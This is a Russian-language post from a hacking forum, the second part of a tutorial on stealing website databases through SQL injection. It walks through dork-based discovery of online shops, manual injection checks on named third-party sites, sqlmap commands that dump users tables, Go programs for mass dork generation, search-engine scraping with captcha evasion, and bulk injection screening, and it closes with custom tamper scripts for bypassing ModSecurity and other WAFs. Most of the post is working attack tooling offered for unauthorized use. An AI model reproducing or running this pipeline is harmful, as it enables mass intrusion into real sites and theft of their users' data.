Получение баз данных с помощью SQL-инъекций - 2 часть - sqlmap, тамперы, waf

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is


Хей, miserylord на связи!

Эта статья продолжает первую часть, в которой я разобрал, что такое SQL-инъекции, в каких точках сайта они возникают, рассмотрел не самый эффективный метод получения сайтов с помощью обратного DNS и последующего краулинга, поверхностно прошелся по sqlmap и ряду других тем.

Сегодня я сосредоточусь на более практических аспектах, а именно повышении эффективности и продуктивности результатов. Итак, начинаем.

Дорки + sqlmap — как это работает?


Способ получать дампы баз данных с гарантированным результатом (работает даже без понимания происходящего)!

В первой части для получения сайтов я использовал технику с обратным DNS. Она интересная, но результата с нее можно ждать очень долго. Самым быстрым вариантом остаются дорки. О том, что это такое и в каких точках они возникают, можно узнать из этой статьи.

Перейдем к практике.

Берем дорку inurl:”.php?cid=” intext:”Expiry date”. Почему такую? В URL указан элемент, который может быть индикатором взаимодействия с базой данных, а в тексте — термин, который может указывать на интернет-магазин.

Переходим по ссылкам в поисках SQL-инъекций. Для этого просто добавляем кавычку ' к параметрам запроса — это те, что идут после знака вопроса. Например, если есть ссылка https://cupon999.co.uk/news.php?cid=3, то, добавив кавычку ', получим https://cupon999.co.uk/news.php?cid=3' — это и есть проверка.

Если параметров несколько, например: https://www.changechange.co.in/alert.php?cid=73&item=237&city=flag, то тестируем каждый:
  1. https://www.changechange.co.in/alert.php?cid=73'&item=237&city=flag
  2. https://www.changechange.co.in/alert.php?cid=73&item=237'&city=flag
  3. и так далее.
Смотрим на результат. Если на странице появляется что-то вроде текста SQL error или похожий индикатор ошибки — сохраняем ссылку. (Посмотреть, как выглядят подобные ошибки, поможет дорка "id=" & intext:"Warning: mysql_result()").

Ошибки не видно, но происходят другие изменения на странице? Сохраняем ссылку.

Ссылку сохраняем без кавычки, в оригинальном виде.

Далее произвольно меняем дорку, например, на inurl:”.php?id=” intext:”Category” и повторяем процесс.

Насобирав несколько сотен ссылок, переходим к sqlmap.

sqlmapможно запустить как на Linux, так и на Windows. Для этого нужно установить Python (при установке убедитесь, что поставили галочку на пункте "Добавить в PATH") и Git. Затем выполнить команду: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev и перейти в папку sqlmap-dev.

Для терминала можно использовать VS Code, просто открыв в нем папку sqlmap. Там удобно создавать новые файлы и следить за запущенными процессами.

Такая универсальная команда пробьет какой-то процент ссылок — 10-50%, в зависимости от того, что было сохранено: python sqlmap.py -u "URL" --random-agent --level=5 --risk=3 --hex --batch Вместо "URL" подставляем найденную ссылку, например: python sqlmap.py -u "https://kiikk1h3331.co.uk/news.php?cid=3" --random-agent --level=5 --risk=3 --hex --batch

Ждем результата. Если sqlmap обнаружит уязвимость, он сообщит об этом в логах.

Screenshot_4.png



Теперь добавляем флаг --tables, вводя команду: python sqlmap.py -u "https://kiikk1h3331.co.uk/news.php?cid=3" --random-agent --level=5 --risk=3 --hex --batch --tables

После этого в логах появятся все базы данных и таблицы в них.

Изучаем список и выбираем нужные таблицы, затем вводим команду: python sqlmap.py -u "https://kiikk1h3331.co.uk/news.php?cid=3" --random-agent --level=5 --risk=3 --hex --batch -D databaseName -T users --dump

Где databaseName — имя базы данных, users — таблица, из которой мы хотим извлечь данные.

Сохраненные дампы находятся в папке: C:\Users\Change_This\AppData\Local\sqlmap\output

Отлично! Но, во-первых, часть ссылок гарантированно вызовет проблемы, даже если на них были инъекции. Во-вторых, времени на все уходит непозволительно много, так что придется разбираться во всех аспектах.


Генерация дорок


Первый момент, который отнимает время, — это генерация дорок. Необходимо делать это в автоматическом режиме. Попробуем найти готовое решение, но нам не подойдут те, что с GitHub. Допускаю, что есть какой-то репозиторий с тремя звездами, но те, что я посмотрел, все они про генерацию дорок в широком смысле этого термина. Генерация дорок под нашу задачу — это немного другое.

Давайте напишем такую программу. По сути, это просто рандомизация нескольких таблиц между собой во всех возможных комбинациях. Но чтобы лучше понять, как всё должно работать, загуглим скриншоты/видео докер-генов, например:
Окончательно поняв, что происходит, разберём логику.

Логика следующая:
  1. Указываем программе название страницы.
  2. Далее — расширение страницы со знаком вопроса, что точно показывает наличие параметров запроса.
  3. Затем указываем сам параметр запроса.
  4. Всё это перемешиваем друг с другом, реализуя декартово произведение.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "math/rand"
    "os"
    "time"
)

func readArrayFromFile(filename string) ([]string, error) {
    file, err := os.Open(filename)
    if err != nil {
        return nil, err
    }
    defer file.Close()

    var arr []string
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        arr = append(arr, scanner.Text())
    }
    return arr, scanner.Err()
}

func writeArrayToFile(filename string, data []string) error {
    file, err := os.Create(filename)
    if err != nil {
        return err
    }
    defer file.Close()

    writer := bufio.NewWriter(file)
    for _, line := range data {
        _, err := writer.WriteString(line + "\n")
        if err != nil {
            return err
        }
    }
    return writer.Flush()
}

func main() {
    table1, err1 := readArrayFromFile("page.txt")
    table2, err2 := readArrayFromFile("dote.txt")
    table3, err3 := readArrayFromFile("query.txt")

    if err1 != nil || err2 != nil || err3 != nil {
        fmt.Println("Ошибка чтения файлов:", err1, err2, err3)
        return
    }

    var combinations []string
    for _, val1 := range table1 {
        for _, val2 := range table2 {
            for _, val3 := range table3 {
                combinations = append(combinations, fmt.Sprintf("%s%s%s", val1, val2, val3))
            }
        }
    }

    rand.Seed(time.Now().UnixNano())
    rand.Shuffle(len(combinations), func(i, j int) { combinations[i], combinations[j] = combinations[j], combinations[i] })

    res := combinations

    if err := writeArrayToFile("res.txt", res); err != nil {
        fmt.Println("Ошибка записи в файл:", err)
    } else {
        fmt.Println("Результаты успешно записаны в res.txt")
    }
}

Остальные параметры можно добавить самостоятельно в код.

Кстати говоря, пока составлял и проверял дорки, на одном сайте обнаружил раскрытие информации. Немного проверив дальше, пришел к выводу, что это 0day в одной из LMS-систем. Не то чтобы это было очень полезно, просто одна из тех CVE в какой-то ноунейм-системе. Но сам факт, что, составив грамотно доки, можно обнаружить ряд интересных моментов.

Парсинг поисковых систем


Вводить запросы вручную, постоянно ловя капчу, требует много ресурсов. И хоть элегантность решения этой проблемы в SQLDumper поражает, оно требует времени и учета множества других факторов. Всё, что можно подчеркнуть на данный момент, это фишка с обходом и проверка других поисковых систем.

В целом код парсинга будет выглядеть примерно так:
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "net/url"
    "os"
    "regexp"
    "strings"
)

func main() {
    file, err := os.Open("dorks.txt") // 1
    if err != nil {
        log.Fatal(err)
    }
    defer file.Close()

    scanner := bufio.NewScanner(file) // 2


    for scanner.Scan() {
        query := url.QueryEscape(scanner.Text()) // 3
        searchURL := fmt.Sprintf("https://www.google.com/search?q=%s&client=........", query) // 4
        req, err := http.NewRequest("GET", searchURL, nil)
        if err != nil {
            log.Println("Ошибка при создании запроса:", err)
            continue
        }

        // 5
        req.Header.Set("User-Agent", "")
        req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
        req.Header.Set("Accept-Language", "")
        req.Header.Set("Upgrade-Insecure-Requests", "1")
        req.Header.Set("Sec-Fetch-Dest", "document")
        req.Header.Set("Sec-Fetch-Mode", "navigate")
        req.Header.Set("Sec-Fetch-Site", "same-origin")
        req.Header.Set("Sec-Fetch-User", "?1")
        req.Header.Set("Priority", "u=0, i")
        req.Header.Set("Referer", "https://www.google.com/")
        req.Header.Set("Cookie", "")

        resp, err := http.DefaultClient.Do(req)
        if err != nil {
            log.Println("Ошибка при выполнении запроса:", err)
            continue
        }
        defer resp.Body.Close()

        body, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            log.Println("Ошибка при чтении ответа:", err)
            continue
        }

        // 6
        if strings.Contains(string(body), "sorry") {
            re := regexp.MustCompile(`inurl:"([^"]+)"|intext:"([^"]+)"`)
            // 7
            cleanedText := re.ReplaceAllStringFunc(scanner.Text(), func(s string) string {
                if s[:6] == "inurl:" {
                    return s[7 : len(s)-1]
                } else if s[:7] == "intext:" {
                    return s[8 : len(s)-1]
                }
                return s
            })
            query := url.QueryEscape(cleanedText)
            searchURL := fmt.Sprintf("https://www.einet.net/search?q=%s", query)

            req, err := http.NewRequest("GET", searchURL, nil)
            if err != nil {
                log.Println("Ошибка при создании запроса:", err)
                continue
            }

            req.Header.Set("User-Agent", "")
            resp, err := http.DefaultClient.Do(req)
            if err != nil {
                log.Println("Ошибка при выполнении запроса:", err)
                continue
            }
            defer resp.Body.Close()

            body, err := ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Println("Ошибка при чтении ответа:", err)
                continue
            }

            file, err := os.Create("response.txt")
            if err != nil {
                fmt.Println("Ошибка создания файла:", err)
                return
            }
            defer file.Close()

            _, err = file.WriteString(string(body))
            if err != nil {
                fmt.Println("Ошибка записи в файл:", err)
                return
            }
            fmt.Println("Ответ от einet:", string(body))



        } else {
                fmt.Println("Ответ от google не содержит sorry")
        }

        file, err := os.Create("response.txt")
        if err != nil {
            fmt.Println("Ошибка создания файла:", err)
            return
        }
        defer file.Close()

        _, err = file.WriteString(string(body))
        if err != nil {
            fmt.Println("Ошибка записи в файл:", err)
            return
        }
        fmt.Println("Ответ от Google:", string(body))
    }

    if err := scanner.Err(); err != nil {
        log.Fatal(err)
    }

    data, err := ioutil.ReadFile("response.txt.txt")
    if err != nil {
        log.Fatal(err)
    }

    // 8
    re := regexp.MustCompile(`https?://[a-zA-Z0-9-._~:/?#[\]@!$&'()*+,;%=]+`)

    links := re.FindAllString(string(data), -1)

    uniqueLinks := make(map[string]bool)

    // 9
    for _, link := range links {
        if !strings.Contains(strings.ToLower(link), "google") && !strings.Contains(strings.ToLower(link), "gstatic") {
            uniqueLinks[link] = true
        }
    }

        // 10
    if len(uniqueLinks) > 0 {
        fmt.Println("Найденные ссылки:")
        for link := range uniqueLinks {
            fmt.Println(link)
        }
    } else {
        fmt.Println("Ссылки не найдены или все содержат 'google'.")
    }

}

  1. Открываем файл с дорками.
  2. Используя сканер, считываем файл построчно.
  3. Поскольку формат дорков у нас типа inurl:” .php?cid=” intext:”Make Payment”, т.е. невалидный для URL, необходимо его преобразовать с использованием QueryEscape, получив в итоге inurl%3A%E2%80%9D.php%3Fcid%3D%E2%80%9D+intext%3A%E2%80%9DMake+Payment%E2%80%9D.
  4. Копируем из консоли ссылку на запрос и подставляем вместо параметра q сам запрос. Для реализации поиска по страницам необходимо добавить цикл на параметр start.
  5. Подставляем параметры запроса и куки.
  6. Дальше я проверяю, содержит ли ответ капчу. Тут я добавил проверку по слову sorry, но можно сделать проверку по коду ответа или другим параметрам.
  7. Далее используется альтернативный поисковик, в данном случае это просто другой поисковик, поскольку он не поддерживает параметры поиска — они обрезаются. В целом, далее происходит запрос и запись ответа в формате для извлечения ссылок. Файл response.txt используется для дебага, по сути можно сразу получать ссылки.
  8. Регулярное выражение создано таким образом, чтобы отсекать все лишнее из ответа, оставляя только ссылки.
  9. Убираем сайты, которые содержат google в ссылке.
  10. Получаем сами ссылки.

Проверка уязвимости


В примере мы самостоятельно добавляли символ кавычки к ссылке в браузере, проверяя тем самым наличие уязвимости.

Для автоматизации этого процесса можно использовать различные варианты. В целом, можно просто отправлять ссылки в sqlmap или проверять их сканерами. Проблема в том, что это долго, и многие ссылки не будут уязвимы. Чтобы ускорить процесс, можно предварительно отсеять те из них, которые не пройдут простую проверку.

По сути, любой веб-сканер представляет собой фазер. Идея проверки заключается в том, чтобы сравнивать реальное количество байт ответа (не по content-length) для ссылки и ссылки с пейлоадом (кавычкой). Если они отличаются, значит, потенциально это может быть уязвимая ссылка, хотя это не всегда так. На самом деле эту логику можно развивать дальше, но даже такая простая проверка значительно ускорит процесс. В идеале следует также добавить определение системы управления базой данных, но это потребует больше реальных тестов в плане грамотно составленных пейлоадов или определения по ряду косвенных паттернов.

Касательно списка пейлоадов для проверки, мне понравился список от wfuzz - wfuzz/wordlist/Injections/SQL.txt at master · xmendez/wfuzz · GitHub

Помимо указанной выше проверки в коде, мы предварительно проверяем ссылку на доступность, далее определяем IP-адреса, а также, по возможности, сервер из заголовков ответа. В целом, код выглядит следующим образом:
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io"
    "log"
    "net"
    "net/http"
    "net/url"
    "os"
    "time"
)

func checkURL(url string) bool {
    client := http.Client{
        Timeout: 10 * time.Second,
    }
    resp, err := client.Get(url)
    if err != nil {
        fmt.Printf("Ошибка при подключении к %s: %v\n", url, err)
        return false
    }
    defer resp.Body.Close()

    if resp.StatusCode >= 200 && resp.StatusCode < 300 {
        fmt.Printf("URL %s доступен! Статус код: %d\n", url, resp.StatusCode)
    } else {
        fmt.Printf("URL %s недоступен. Статус код: %d\n", url, resp.StatusCode)
    }

    if serverHeader, ok := resp.Header["Server"]; ok {
        fmt.Printf("Сервер: %s\n", serverHeader[0])
    }

    return resp.StatusCode >= 200 && resp.StatusCode < 300
}

func getIP(urlStr string) []string {
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        log.Fatalf("Ошибка при разборе URL: %v\n", err)
    }

    hostname := parsedURL.Hostname()

    ips, err := net.LookupHost(hostname)
    if err != nil {
        log.Fatalf("Ошибка при разрешении домена: %v\n", err)
    }

    return ips
}

func modifyURLWithPayload(urlStr, payload string) string {
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        log.Fatalf("Ошибка при разборе URL: %v\n", err)
    }

    queryParams := parsedURL.Query()
    for key := range queryParams {
        queryParams.Set(key, queryParams.Get(key)+payload)
    }
    parsedURL.RawQuery = queryParams.Encode()

    return parsedURL.String()
}

func checkForSQL(original, mod string) {
    originalSize := getResponseSize(original)
    modifiedSize := getResponseSize(mod)

    if originalSize != modifiedSize {
        fmt.Printf("Потенциальная SQL инъекция! Разница в размере: оригинальный URL (%d байт) и модифицированный URL (%d байт)\n", originalSize, modifiedSize)
    }
}

func getResponseSize(url string) int {
    client := http.Client{
        Timeout: 10 * time.Second,
    }
    resp, err := client.Get(url)
    if err != nil {
        fmt.Printf("Ошибка при подключении к %s: %v\n", url, err)
        return 0
    }
    defer resp.Body.Close()


    bodyBytes, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Ошибка при чтении тела ответа для %s: %v\n", url, err)
        return 0
    }
    return len(bodyBytes)
}
func main() {
    file, err := os.Open("urls.txt")
    if err != nil {
        log.Fatal(err)
    }
    defer file.Close()

    payloadFile, err := os.Open("payloads.txt")
    if err != nil {
        log.Fatal(err)
    }
    defer payloadFile.Close()

    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        url := scanner.Text()
        if checkURL(url) {
            ips := getIP(url)
            fmt.Printf("IP-адреса для %s: %v\n", url, ips)


            payloadFile.Seek(0, 0)
            payloadScanner := bufio.NewScanner(payloadFile)

            for payloadScanner.Scan() {
                payload := payloadScanner.Text()
                modifiedURL := modifyURLWithPayload(url, payload)
                checkForSQL(url, modifiedURL)
                fmt.Println(modifiedURL)
            }

            if err := payloadScanner.Err(); err != nil {
                log.Fatal(err)
            }
        }
    }

    if err := scanner.Err(); err != nil {
        log.Fatal(err)
    }
}

Анализ. Тамперы. WAF


Следующий шаг повышения эффективности процесса — это анализ ошибок и решений проблем, которые возникли во время работы с sqlmap.

Итак, проверяя ссылки, я регулярно сталкивался с WAF в том или ином виде. На одном из таргетов я не смог получить список таблиц и решил попробовать добавить тампер. Со второй попытки и с --tamper=between,space2comment удалось обойти WAF, но проблема была в том, что я понятия не имел, что именно сделал. Более того, в следующий раз такой метод уже не сработал, а тамперов в sqlmap просто десятки (и запустить все — не вариант). Очевидно, необходимо разобраться с тем, что именно делают тамперы.

Но сперва — что вообще такое эти тамперы? Исходный код sqlmap открыт, и вот они: sqlmap/tamper at master · sqlmapproject/sqlmap · GitHub. Поскольку любой сканер — это новый способ сказать фазер, то тамперы — это, по сути, параметры для фазинга, ну или обфускация пейлода. Но как это работает?

Тут есть два контекста — глобально компьютерный и локальный SQL (или даже отдельно взятая СУБД). Для примера глобального возьмем URL. Что такое URL? Начнем издалека, чтобы возникло понимание, откуда эти техники берутся изначально. Итак, URL — это то, что стандарт URL называет URL: https://url.spec.whatwg.org/ (ну или то, что имплементируется согласно стандарту).

Вы, возможно, видели, что ряд букв остаются буквами в URL, а другие кодируются. Буквы, которые могут оставаться буквами, определены в RFC 3986, другие же должны быть закодированы согласно спецификации. Этот же ряд букв может как оставаться буквами, так и быть закодированными. Следовательно, заменив sql на %73%71%6C (s - %73, q - %71, l - %6C), мы получим закодированный URL. Второе URL-кодирование — это превращение %73%71%6C в %2573%2571%256C, где % кодируется в %25. Это и позволяет обойти WAF.

Контекст SQL похож: например, ряд СУБД не чувствителен к регистру, поэтому можно заменить SELECT на SeLeCt. В Burp есть Decoder, и в интернете есть статьи на эту тему. Но для 0day-техник написания тамперов требуется внимательно прочитать спецификации, быть знакомым с кодировками, а также понимать, где возможны ошибки в реализации спецификаций (YouTube.)

Впрочем, на самом деле, количество тамперов в sqlmap очень маленькое, так что чуть ниже попробуем написать тампер во время анализа таргетов.

Также я постоянно добавлял параметры --risk и --level на максимум, но, проанализировав, понял, что это неправильно. В случае level 5 уровень дает большее количество пейлодов для тестирования, и это хорошо. Вот только помимо этого он тестирует все, что видит, в том числе куки, реферер и user-agent.

Напомню, что мы тестируем точку, в которой приложение спрашивает базу данных о параметрах, которые затем выводятся на сайт. Вероятность того, что сервер логирует user-agent прямо в базу данных, близка к статистической погрешности (насколько я это понимаю). Но даже если и так (он может логировать их в логах сервера, но не в базе данных), эти данные нигде не выводятся. SQL инъекция может возникнуть только в точке, где хотя бы теоретически user-agent может быть внесен в базу, но это точно не те ссылки, что мы получили. Впрочем, я могу здесь ошибаться, но это будет уже в контексте RCE.

Для всех этих параметров нужна своя стратегия и свои дорки. А при указании --level нужно указывать -p с перечислением нужных параметров — тогда и пейлодов будет больше, и по воробьям из пушки стрелять не будем.

Что касается --risk, у меня нет однозначного мнения. Казалось бы, даже на первом уровне уязвимость должна быть обнаружена, но, с другой стороны, risk=3 увеличивает тестирование в два раза. Да, это больше тестов, но почему бы и нет?

Перейдём к разбору проблемных таргетов. Итак, первый таргет, в котором не удалось получить таблицы из базы данных. Что делать? Как подобрать тампер?

Нужно понять, что происходит с запросами. Для этого откроем BurpSuite. В нём есть расширение Sqlipy, но работает оно очень плохо, и в целом в нём нет особого смысла — это что-то вроде GUI. Для проброски запросов в качестве прокси укажем --proxy="http://127.0.0.1:8080" при запуске sqlmap.

Анализируем запросы и видим:
Screenshot_1.png



Как подобрать тампер? Предполагаю, что никак. Применяя разные кодировки, можно дойти до того, что сайт перестанет понимать, чего мы хотим, и ошибка исчезнет, но это лишь потому, что возникнет ошибка запроса. Получить данные без использования SELECT, не зная таблиц, — нетривиальная задача.

Тем не менее, пока я ресерчил эту тему, на сайте Burp Obfuscating attacks using encodings | Web Security Academy нашёл метод, в котором предлагается возможный обход WAF. Он блокирует пейлод с SELECT, но допускает его эквивалент в виде CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84).
Screenshot_2.png



Нужно сказать, что лог ошибки указывает на то, что WAF пропускает SELECT, но на самом сервере мы обращаемся от пользователя, которому запрещены команды такого типа.

Казалось бы, эта информация находится на Web Security Academy, но, просмотрев тамперы, я не обнаружил такого в sqlmap. Возможно, я просто его не нашёл. Самый схожий — hex2char.py, но он не работает с SELECT.

Создадим новый файл в папке tamper — select2char.py. Посмотрим, как написаны другие тамперы. apostrophemask.py вроде бы самый близкий к тому, что нам нужно. Получим код:
Python: Скопировать в буфер обмена
Код:
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("\bSELECT\b", "CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)") if payload else payload

В целом, анализ ответа помогает понять, что делать дальше. Например, на одном из таргетов у меня была ошибка: Error 1030 in execute query: Got error 28 from storage engine, что означает, что по какой-то причине на сервере закончилось свободное пространство. Следовательно, в данном случае подбирать тампер не имеет особого смысла, так как запрос проходит, но сервер не может его обработать по внутренним причинам.

Где-то просто происходила блокировка по IP, где-то использовался ClickHouse, и, как я успел немного узнать, его синтаксис сильно отличается от остальных. Более того, sqlmap вообще плохо работает с ним, и для него нужны специальные тамперы. Возможно, это просто был такой таргет.

Самым часто встречающимся WAF оказался ModSecurity, и, на самом деле, обойти его весьма проблематично. Во-первых, среди тамперов есть modsecurityversioned.py и modsecurityzeroversioned.py — это первое, что я пробовал при встрече с этим WAF. Затем экспериментировал с различными комбинациями, например: --tamper="modsecurityversioned,randomcomments,between"

В одном посте утверждалось, что техника, представленная тампером scientific.py, может помочь. В другом (CVE-2020-22669) говорилось, что использование символов комментариев и присваивания переменных может дать результат. Нужно отметить, что среди тамперов нет такого, который модифицирует переменные, поэтому эту технику я тестировал через Burp. В другом CVE-2023-38199 упоминалось добавление двух Content-Type в запрос. Более того, я нашел довольно свежий кастомный тампер, но на моих таргетах ничего из этого не сработало.
Python: Скопировать в буфер обмена
Код:
#!/usr/bin/env python

"""
Copyright (c) 2024 wetofu.github.io
"""

from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def modify_sql(sql):
    modified_sql = re.sub(r'(SELECT|CASE|WHEN|LIKE|THEN|ELSE|FROM|WHERE|INSERT|UPDATE|DELETE|JOIN|LEFT|RIGHT|INNER|OUTER|CREATE|ALTER|DROP|TRUNCATE|COMMENT|GRANT|REVOKE|UNION)',
                          lambda match: match.group(1)[:3] + '%0b' + match.group(1)[3:], sql, flags=re.IGNORECASE)
    modified_sql = re.sub(r'(\S+)=(\S+)(?<!-)', lambda match: "("+match.group(1)+")=("+match.group(2)+")", modified_sql)
    return modified_sql

def tamper(payload, **kwargs):
    retVal = modify_sql(payload)
    return retVal

В любом случае анализ ответов и постепенное добавление техник помогут создать базу собственных решений и увеличить число успешно полученных результатов.

Удачных тестов! Трям! Пока!
 
Сверху Снизу